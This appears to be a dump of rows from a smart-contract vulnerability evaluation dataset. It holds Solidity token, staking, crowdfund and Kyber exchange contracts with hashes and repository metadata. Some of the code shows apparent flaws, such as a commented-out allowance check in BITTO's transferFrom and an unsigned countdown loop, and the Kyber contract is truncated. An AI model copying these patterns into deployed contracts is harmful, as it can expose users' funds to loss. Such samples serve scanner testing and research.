require(sig.length == 65);
bytes32 r;
bytes32 s;
uint8 v;
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
return (v, r, s);
}
function recoverSigner(bytes32 message, bytes memory sig)
public
pure
returns (address)
{
uint8 v;
bytes32 r;
bytes32 s;
(v, r, s) = splitSignature(sig);
return ecrecover(message, v, r, s);
}
function isValidData(string memory _word, bytes memory sig) public view returns(bool){
bytes32 message = keccak256(abi.encodePacked(_word));
return (recoverSigner(message, sig) == signerAddress);
}
function toByte(uint8 _uint8) public pure returns (bytes1) {
if(_uint8 < 10) {
return bytes1(_uint8 + 48);
} else {
return bytes1(_uint8 + 87);
}
}
bytes16 private constant _SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
function _uint2str(uint256 value) internal pure returns (string memory) {
uint256 length = Math.log10(value) + 1;
string memory buffer = new string(length);
uint256 ptr;
/// @solidity memory-safe-assembly
assembly {
ptr := add(buffer, add(32, length))
}
while (true) {
ptr--;
/// @solidity memory-safe-assembly
assembly {
mstore8(ptr, byte(mod(value, 10), _SYMBOLS))
}
value /= 10;
if (value == 0) break;
}
return buffer;
}
function Save(address _token, uint _amount) external onlyOwner{
IERC20(_token).transfer(msg.sender, _amount);
}
}
| 37,960 | 259 |
fd5aafd8d9a7a66bedfa56b0e15f44719e8e98c5914b467666b33021911c17c2
| 16,046 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa101e27f06a97985b925e244111b61560ecd97db.sol
| 3,900 | 13,709 |
pragma solidity 0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract BITTOStandard {
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() public returns (bool);
function coinAge() constant public returns (uint256);
function annualInterest() constant public returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
_owner = msg.sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BITTO is IERC20, BITTOStandard, Ownable {
using SafeMath for uint256;
string public name = "BITTO";
string public symbol = "BITTO";
uint public decimals = 18;
uint public chainStartTime; //chain start time
uint public chainStartBlockNumber; //chain start block number
uint public stakeStartTime; //stake start time
uint public stakeMinAge = 10 days; // minimum age for coin age: 10D
uint public stakeMaxAge = 180 days; // stake age of full weight: 180D
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
uint constant MIN_STAKING = 5000; // minium amount of token to stake
uint constant STAKE_START_TIME = 1537228800; // 2018.9.18
uint constant STEP1_ENDTIME = 1552780800; // 2019.3.17
uint constant STEP2_ENDTIME = 1568332800; // 2019.9.13
uint constant STEP3_ENDTIME = 1583884800; // 2020.3.11
uint constant STEP4_ENDTIME = 1599436800; // 2020.9.7
uint constant STEP5_ENDTIME = 1914969600; // 2030.9.7
struct Period {
uint start;
uint end;
uint interest;
}
mapping (uint => Period) periods;
mapping(address => bool) public noPOSRewards;
struct transferInStruct {
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => transferInStruct[]) transferIns;
event Burn(address indexed burner, uint256 value);
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
constructor() public {
// 5 mil is reserved for POS rewards
maxTotalSupply = 223 * 10**23; // 22.3 Mil.
totalInitialSupply = 173 * 10**23; // 17.3 Mil. 10 mil = crowdsale, 7.3 team account
chainStartTime = now;
chainStartBlockNumber = block.number;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
// 4 periods for 2 years
stakeStartTime = 1537228800;
periods[0] = Period(STAKE_START_TIME, STEP1_ENDTIME, 65 * 10 ** 18);
periods[1] = Period(STEP1_ENDTIME, STEP2_ENDTIME, 34 * 10 ** 18);
periods[2] = Period(STEP2_ENDTIME, STEP3_ENDTIME, 20 * 10 ** 18);
periods[3] = Period(STEP3_ENDTIME, STEP4_ENDTIME, 134 * 10 ** 16);
periods[4] = Period(STEP4_ENDTIME, STEP5_ENDTIME, 134 * 10 ** 16);
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
if (msg.sender == _to)
return mint();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
if (transferIns[msg.sender].length > 0)
delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
if (transferIns[_from].length > 0)
delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function mint() canPoSMint public returns (bool) {
// minimum stake of 5000 x is required to earn staking.
if (balances[msg.sender] < MIN_STAKING.mul(1 ether))
return false;
if (transferIns[msg.sender].length <= 0)
return false;
uint reward = getProofOfStakeReward(msg.sender);
if (reward <= 0)
return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
emit Transfer(address(0), msg.sender, reward);
emit Mint(msg.sender, reward);
return true;
}
function getBlockNumber() view public returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge() constant public returns (uint myCoinAge) {
uint _now = now;
myCoinAge = 0;
for (uint i=0; i < getPeriodNumber(_now) + 1; i ++) {
myCoinAge += getCoinAgeofPeriod(msg.sender, i, _now);
}
}
function annualInterest() constant public returns (uint interest) {
uint _now = now;
interest = periods[getPeriodNumber(_now)].interest;
}
function getProofOfStakeReward(address _address) public view returns (uint totalReward) {
require((now >= stakeStartTime) && (stakeStartTime > 0));
require(!noPOSRewards[_address]);
uint _now = now;
totalReward = 0;
for (uint i=0; i < getPeriodNumber(_now) + 1; i ++) {
totalReward += (getCoinAgeofPeriod(_address, i, _now)).mul(periods[i].interest).div(100).div(365);
}
}
function getPeriodNumber(uint _now) public view returns (uint periodNumber) {
for (uint i = 4; i >= 0; i --) {
if(_now >= periods[i].start){
return i;
}
}
}
function getCoinAgeofPeriod(address _address, uint _pid, uint _now) public view returns (uint _coinAge) {
if (transferIns[_address].length <= 0)
return 0;
if (_pid < 0 || _pid > 4)
return 0;
_coinAge = 0;
uint nCoinSeconds;
uint i;
if (periods[_pid].start < _now &&
periods[_pid].end >= _now) {
// calculate the current period
for (i = 0; i < transferIns[_address].length; i ++) {
if (uint(periods[_pid].start) > uint(transferIns[_address][i].time) ||
uint(periods[_pid].end) <= uint(transferIns[_address][i].time))
continue;
nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if (nCoinSeconds < stakeMinAge)
continue;
if (nCoinSeconds > stakeMaxAge)
nCoinSeconds = stakeMaxAge;
nCoinSeconds = nCoinSeconds.sub(stakeMinAge);
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}else{
// calculate for the ended preriods which user did not claimed
for (i = 0; i < transferIns[_address].length; i++) {
if (uint(periods[_pid].start) > uint(transferIns[_address][i].time) ||
uint(periods[_pid].end) <= uint(transferIns[_address][i].time))
continue;
nCoinSeconds = (uint(periods[_pid].end)).sub(uint(transferIns[_address][i].time));
if (nCoinSeconds < stakeMinAge)
continue;
if (nCoinSeconds > stakeMaxAge)
nCoinSeconds = stakeMaxAge;
nCoinSeconds = nCoinSeconds.sub(stakeMinAge);
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
_coinAge = _coinAge.div(1 ether);
}
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
function ownerBurnToken(uint _value) public onlyOwner {
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = totalInitialSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
emit Burn(msg.sender, _value);
}
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner public returns (bool) {
require(_recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for (uint i = 0; i < _values.length; i++) {
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
uint64 _now = uint64(now);
for (uint j = 0; j < _recipients.length; j++) {
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));
emit Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
if (transferIns[msg.sender].length > 0)
delete transferIns[msg.sender];
if (balances[msg.sender] > 0)
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
return true;
}
function disablePOSReward(address _account, bool _enabled) onlyOwner public {
noPOSRewards[_account] = _enabled;
}
}
| 194,299 | 260 |
4b9697c41af36cd713f797e261230f43a776aad4d0066903f6e962cf521b3147
| 11,711 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xe05cedd2838e4e1d99b539d8c768d6ef2a10f729.sol
| 3,513 | 11,396 |
pragma solidity ^0.4.8;
contract SafeMath {
function assert(bool assertion) internal {
if (!assertion) throw;
}
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
}
contract StandardTokenProtocol {
function totalSupply() constant returns (uint256 totalSupply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _recipient, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _recipient, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _recipient, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is StandardTokenProtocol {
modifier when_can_transfer(address _from, uint256 _value) {
if (balances[_from] >= _value) _;
}
modifier when_can_receive(address _recipient, uint256 _value) {
if (balances[_recipient] + _value > balances[_recipient]) _;
}
modifier when_is_allowed(address _from, address _delegate, uint256 _value) {
if (allowed[_from][_delegate] >= _value) _;
}
function transfer(address _recipient, uint256 _value)
when_can_transfer(msg.sender, _value)
when_can_receive(_recipient, _value)
returns (bool o_success)
{
balances[msg.sender] -= _value;
balances[_recipient] += _value;
Transfer(msg.sender, _recipient, _value);
return true;
}
function transferFrom(address _from, address _recipient, uint256 _value)
when_can_transfer(_from, _value)
when_can_receive(_recipient, _value)
when_is_allowed(_from, msg.sender, _value)
returns (bool o_success)
{
allowed[_from][msg.sender] -= _value;
balances[_from] -= _value;
balances[_recipient] += _value;
Transfer(_from, _recipient, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool o_success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 o_remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract GUPToken is StandardToken {
//FIELDS
string public name = "Guppy";
string public symbol = "GUP";
uint public decimals = 3;
//CONSTANTS
uint public constant LOCKOUT_PERIOD = 1 years; //time after end date that illiquid GUP can be transferred
//ASSIGNED IN INITIALIZATION
uint public endMintingTime; //Timestamp after which no more tokens can be created
address public minter; //address of the account which may mint new tokens
mapping (address => uint) public illiquidBalance; //Balance of 'Frozen funds'
//MODIFIERS
//Can only be called by contribution contract.
modifier only_minter {
if (msg.sender != minter) throw;
_;
}
// Can only be called if illiquid tokens may be transformed into liquid.
// This happens when `LOCKOUT_PERIOD` of time passes after `endMintingTime`.
modifier when_thawable {
if (now < endMintingTime + LOCKOUT_PERIOD) throw;
_;
}
// Can only be called if (liquid) tokens may be transferred. Happens
// immediately after `endMintingTime`.
modifier when_transferable {
if (now < endMintingTime) throw;
_;
}
// Can only be called if the `crowdfunder` is allowed to mint tokens. Any
// time before `endMintingTime`.
modifier when_mintable {
if (now >= endMintingTime) throw;
_;
}
// Initialization contract assigns address of crowdfund contract and end time.
function GUPToken(address _minter, uint _endMintingTime) {
endMintingTime = _endMintingTime;
minter = _minter;
}
// Create new tokens when called by the crowdfund contract.
// Only callable before the end time.
function createToken(address _recipient, uint _value)
when_mintable
only_minter
returns (bool o_success)
{
balances[_recipient] += _value;
totalSupply += _value;
return true;
}
// Create an illiquidBalance which cannot be traded until end of lockout period.
// Can only be called by crowdfund contract before the end time.
function createIlliquidToken(address _recipient, uint _value)
when_mintable
only_minter
returns (bool o_success)
{
illiquidBalance[_recipient] += _value;
totalSupply += _value;
return true;
}
// Make sender's illiquid balance liquid when called after lockout period.
function makeLiquid()
when_thawable
{
balances[msg.sender] += illiquidBalance[msg.sender];
illiquidBalance[msg.sender] = 0;
}
// Transfer amount of tokens from sender account to recipient.
// Only callable after the crowd fund end date.
function transfer(address _recipient, uint _amount)
when_transferable
returns (bool o_success)
{
return super.transfer(_recipient, _amount);
}
// Transfer amount of tokens from a specified address to a recipient.
// Only callable after the crowd fund end date.
function transferFrom(address _from, address _recipient, uint _amount)
when_transferable
returns (bool o_success)
{
return super.transferFrom(_from, _recipient, _amount);
}
}
contract Contribution is SafeMath {
//FIELDS
//CONSTANTS
//Time limits
uint public constant STAGE_ONE_TIME_END = 5 hours;
uint public constant STAGE_TWO_TIME_END = 72 hours;
uint public constant STAGE_THREE_TIME_END = 2 weeks;
uint public constant STAGE_FOUR_TIME_END = 4 weeks;
//Prices of GUP
uint public constant PRICE_STAGE_ONE = 480000;
uint public constant PRICE_STAGE_TWO = 440000;
uint public constant PRICE_STAGE_THREE = 400000;
uint public constant PRICE_STAGE_FOUR = 360000;
uint public constant PRICE_BTCS = 480000;
//GUP Token Limits
uint public constant MAX_SUPPLY = 100000000000;
uint public constant ALLOC_ILLIQUID_TEAM = 8000000000;
uint public constant ALLOC_LIQUID_TEAM = 13000000000;
uint public constant ALLOC_BOUNTIES = 2000000000;
uint public constant ALLOC_NEW_USERS = 17000000000;
uint public constant ALLOC_CROWDSALE = 60000000000;
uint public constant BTCS_PORTION_MAX = 31250 * PRICE_BTCS;
//ASSIGNED IN INITIALIZATION
//Start and end times
uint public publicStartTime; //Time in seconds public crowd fund starts.
uint public privateStartTime; //Time in seconds when BTCSuisse can purchase up to 31250 ETH worth of GUP;
uint public publicEndTime; //Time in seconds crowdsale ends
//Special Addresses
address public btcsAddress; //Address used by BTCSuisse
address public multisigAddress; //Address to which all ether flows.
address public matchpoolAddress;
address public ownerAddress; //Address of the contract owner. Can halt the crowdsale.
//Contracts
GUPToken public gupToken; //External token contract hollding the GUP
//Running totals
uint public etherRaised; //Total Ether raised.
uint public gupSold; //Total GUP created
uint public btcsPortionTotal; //Total of Tokens purchased by BTC Suisse. Not to exceed BTCS_PORTION_MAX.
//booleans
bool public halted; //halts the crowd sale if true.
//FUNCTION MODIFIERS
//Is currently in the period after the private start time and before the public start time.
modifier is_pre_crowdfund_period() {
if (now >= publicStartTime || now < privateStartTime) throw;
_;
}
//Is currently the crowdfund period
modifier is_crowdfund_period() {
if (now < publicStartTime || now >= publicEndTime) throw;
_;
}
//May only be called by BTC Suisse
modifier only_btcs() {
if (msg.sender != btcsAddress) throw;
_;
}
//May only be called by the owner address
modifier only_owner() {
if (msg.sender != ownerAddress) throw;
_;
}
//May only be called if the crowdfund has not been halted
modifier is_not_halted() {
if (halted) throw;
_;
}
// EVENTS
event PreBuy(uint _amount);
event Buy(address indexed _recipient, uint _amount);
// FUNCTIONS
function Contribution(address _btcs,
address _multisig,
address _matchpool,
uint _publicStartTime,
uint _privateStartTime) {
ownerAddress = msg.sender;
publicStartTime = _publicStartTime;
privateStartTime = _privateStartTime;
publicEndTime = _publicStartTime + 4 weeks;
btcsAddress = _btcs;
multisigAddress = _multisig;
matchpoolAddress = _matchpool;
gupToken = new GUPToken(this, publicEndTime);
gupToken.createIlliquidToken(matchpoolAddress, ALLOC_ILLIQUID_TEAM);
gupToken.createToken(matchpoolAddress, ALLOC_BOUNTIES);
gupToken.createToken(matchpoolAddress, ALLOC_LIQUID_TEAM);
gupToken.createToken(matchpoolAddress, ALLOC_NEW_USERS);
}
//May be used by owner of contract to halt crowdsale and no longer except ether.
function toggleHalt(bool _halted)
only_owner
{
halted = _halted;
}
//constant function returns the current GUP price.
function getPriceRate()
constant
returns (uint o_rate)
{
if (now <= publicStartTime + STAGE_ONE_TIME_END) return PRICE_STAGE_ONE;
if (now <= publicStartTime + STAGE_TWO_TIME_END) return PRICE_STAGE_TWO;
if (now <= publicStartTime + STAGE_THREE_TIME_END) return PRICE_STAGE_THREE;
if (now <= publicStartTime + STAGE_FOUR_TIME_END) return PRICE_STAGE_FOUR;
else return 0;
}
// Given the rate of a purchase and the remaining tokens in this tranche, it
// will throw if the sale would take it past the limit of the tranche.
// It executes the purchase for the appropriate amount of tokens, which
// involves adding it to the total, minting GUP tokens and stashing the
// ether.
// Returns `amount` in scope as the number of GUP tokens that it will
// purchase.
function processPurchase(uint _rate, uint _remaining)
internal
returns (uint o_amount)
{
o_amount = safeDiv(safeMul(msg.value, _rate), 1 ether);
if (o_amount > _remaining) throw;
if (!multisigAddress.send(msg.value)) throw;
if (!gupToken.createToken(msg.sender, o_amount)) throw;
gupSold += o_amount;
etherRaised += msg.value;
}
//Special Function can only be called by BTC Suisse and only during the pre-crowdsale period.
//Allows the purchase of up to 125000 Ether worth of GUP Tokens.
function preBuy()
payable
is_pre_crowdfund_period
only_btcs
is_not_halted
{
uint amount = processPurchase(PRICE_BTCS, BTCS_PORTION_MAX - btcsPortionTotal);
btcsPortionTotal += amount;
PreBuy(amount);
}
//Default function called by sending Ether to this address with no arguments.
//Results in creation of new GUP Tokens if transaction would not exceed hard limit of GUP Token.
function()
payable
is_crowdfund_period
is_not_halted
{
uint amount = processPurchase(getPriceRate(), ALLOC_CROWDSALE - gupSold);
Buy(msg.sender, amount);
}
//failsafe drain
function drain()
only_owner
{
if (!ownerAddress.send(this.balance)) throw;
}
}
| 220,960 | 261 |
bd86136c91546a616337bdda5b1793f59ca6437f15e12e3a151f32bd835fd3bd
| 22,151 |
.sol
|
Solidity
| false |
136270747
|
marbleprotocol/flash-lending
|
31158aa88b43d5591fec40fabf95a6e46ae1aa0a
|
contracts/DEX/kyber/KyberNetwork.sol
| 5,004 | 21,050 |
pragma solidity ^0.4.18;
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
interface FeeBurnerInterface {
function handleFees (uint tradeWeiAmount, address reserve, address wallet) public returns(bool);
}
interface KyberReserveInterface {
function trade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface ExpectedRateInterface {
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
}
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
contract WhiteListInterface {
function getUserCapInWei(address user) external view returns (uint userCapWei);
}
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
contract KyberNetwork is Withdrawable, Utils {
uint public negligibleRateDiff = 10; // basic rate steps will be in 0.01%
KyberReserveInterface[] public reserves;
mapping(address=>bool) public isReserve;
WhiteListInterface public whiteListContract;
ExpectedRateInterface public expectedRateContract;
FeeBurnerInterface public feeBurnerContract;
uint public maxGasPrice = 50 * 1000 * 1000 * 1000; // 50 gwei
bool public enabled = false; // network is enabled
mapping(bytes32=>uint) public info; // this is only a UI field for external app.
mapping(address=>mapping(bytes32=>bool)) public perReserveListedPairs;
function KyberNetwork(address _admin) public {
require(_admin != address(0));
admin = _admin;
}
event EtherReceival(address indexed sender, uint amount);
function() public payable {
require(isReserve[msg.sender]);
EtherReceival(msg.sender, msg.value);
}
event ExecuteTrade(address indexed sender, ERC20 src, ERC20 dest, uint actualSrcAmount, uint actualDestAmount);
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev makes a trade between src and dest token and send dest token to destAddress
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param destAddress Address to send tokens to
/// @param maxDestAmount A limit on the amount of dest tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @param walletId is the wallet ID to send part of the fees
/// @return amount of actual dest tokens
function trade(ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId)
public
payable
returns(uint)
{
require(enabled);
uint userSrcBalanceBefore;
uint userSrcBalanceAfter;
uint userDestBalanceBefore;
uint userDestBalanceAfter;
userSrcBalanceBefore = getBalance(src, msg.sender);
if (src == ETH_TOKEN_ADDRESS)
userSrcBalanceBefore += msg.value;
userDestBalanceBefore = getBalance(dest, destAddress);
uint actualDestAmount = doTrade(src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId);
require(actualDestAmount > 0);
userSrcBalanceAfter = getBalance(src, msg.sender);
userDestBalanceAfter = getBalance(dest, destAddress);
require(userSrcBalanceAfter <= userSrcBalanceBefore);
